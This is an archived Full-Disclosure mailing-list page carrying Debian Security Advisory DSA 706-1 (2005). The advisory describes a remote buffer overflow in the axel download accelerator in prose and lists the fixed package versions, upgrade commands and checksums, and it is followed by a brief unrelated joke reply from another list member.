Debian Security Advisory DSA 706-1 securitydebian.org
http://www.debian.org/security/ Martin Schulze
April 13th, 2005 http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package : axel
Vulnerability : buffer overflow
Problem-Type : remote
Debian-specific: no
CVE ID : CAN-2005-0390
BugTraq ID : 13059

Ulf Härnhammar from the Debian Security Audit Project discovered a
buffer overflow in axel, a light download accellerator. When reading
remote input the program did not check if a part of the input can
overflow a buffer and maybe trigger the execution of arbitrary code.

For the stable distribution (woody) this problem has been fixed in
version 1.0a-1woody1.

For the unstable distribution (sid) this problem has been fixed in
version 1.0b-1.

We recommend that you upgrade your axel package.

Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1.dsc
      Size/MD5 checksum: 562 9e458f6d5f1f008ea845dca78e92683c
    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1.diff.gz
      Size/MD5 checksum: 3390 055745f2cf06c3c91aea35186dd83d19
    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a.orig.tar.gz
      Size/MD5 checksum: 44140 2d94c0b36b374834567f1fcec5f89119

  Architecture independent components:

    http://security.debian.org/pool/updates/main/a/axel/axel-kapt_1.0a-1woody1_all.deb
      Size/MD5 checksum: 3838 954e797b55eb105bbe3ef57972b10071

  Alpha architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_alpha.deb
      Size/MD5 checksum: 41894 460f6ab4e5884cb055cfb37d84029e32

  ARM architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_arm.deb
      Size/MD5 checksum: 33796 e846b964a389aad2e60efca3c0a994e4

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_i386.deb
      Size/MD5 checksum: 33304 0f7124e13654896568ed1d04b19c221f

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_ia64.deb
      Size/MD5 checksum: 49084 d50de2a63ec516ca7d420e55c4f66927

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_hppa.deb
      Size/MD5 checksum: 38552 01fbdbc4a778d6bc1964430567b96dc5

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_m68k.deb
      Size/MD5 checksum: 31870 e07bc8f8895a4a03de20dfa3ecb427fe

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_mips.deb
      Size/MD5 checksum: 37086 0a7a17857b0b2f5d46cae69394bc44aa

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_mipsel.deb
      Size/MD5 checksum: 37208 e7370f632d2d84e18a59d923b4c48aec

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_powerpc.deb
      Size/MD5 checksum: 36678 24f2fe3698ce4d4c64b0f266233874a9

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_s390.deb
      Size/MD5 checksum: 34320 2aa3fc2c0e09ba46de4f3fb954580380

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/a/axel/axel_1.0a-1woody1_sparc.deb
      Size/MD5 checksum: 37266 b5193597168fe3430754d480b29f02be

  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announcelists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>

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Version: GnuPG v1.4.0 (GNU/Linux)

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WDMoQ78HbXTvFPtSPKidL9s=
=KYhB
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] #HACKPHREAK ADVISORY | BBQ CHICKEN WTF!

From: Berend-Jan Wever (skylinededup.tudelft.nl)
Date: Wed Apr 13 2005 - 05:25:37 CDT


I propose we up the age limit to post on full-disclosure to 14.

Cheers,
SkyLined
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] [ GLSA 200504-10 ] Gld: Remote execution of arbitrary code